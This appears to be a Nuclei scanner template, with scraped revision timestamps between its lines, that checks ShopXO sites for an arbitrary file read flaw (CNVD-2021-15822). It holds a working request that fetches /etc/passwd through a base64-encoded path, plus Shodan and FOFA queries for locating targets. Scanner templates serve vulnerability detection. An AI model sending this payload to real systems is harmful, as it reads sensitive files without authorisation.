2021-06-04 03:01:01 +00:00
id : CNVD-2021-15822
info :
name : ShopXO Download File Read
author : pikpikcu
severity : high
2023-05-30 10:00:59 +00:00
description : |
ShopXO is an open source enterprise-level open source e-commerce system. ShopXO has an arbitrary file reading vulnerability, which can be used by attackers to obtain sensitive information.
2022-04-22 10:38:41 +00:00
reference :
- https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog
2022-05-12 14:18:36 +00:00
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2022-05-12 14:18:36 +00:00
shodan-query : title:"ShopXO企业级B2C电商系统提供商"
fofa-query : app="ShopXO企业级B2C电商系统提供商"
2024-01-14 09:21:50 +00:00
tags : cnvd2021,cnvd,shopxo,lfi
2021-06-04 03:01:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-04 03:01:01 +00:00
- raw :
- |
GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-06-04 03:01:01 +00:00
- type : status
status :
- 200
2024-01-26 08:31:11 +00:00
# digest: 490a0046304402206735e750a62b437583ca1e1cae33666b4c2ce3b8a8310c3d1212a98fcb018a69022066c8a339f06f76b3df20a5c624b054d356f219e1e77661921c541dc2d7ee4dc5:922c64590222798bb761d5b6d8e72950
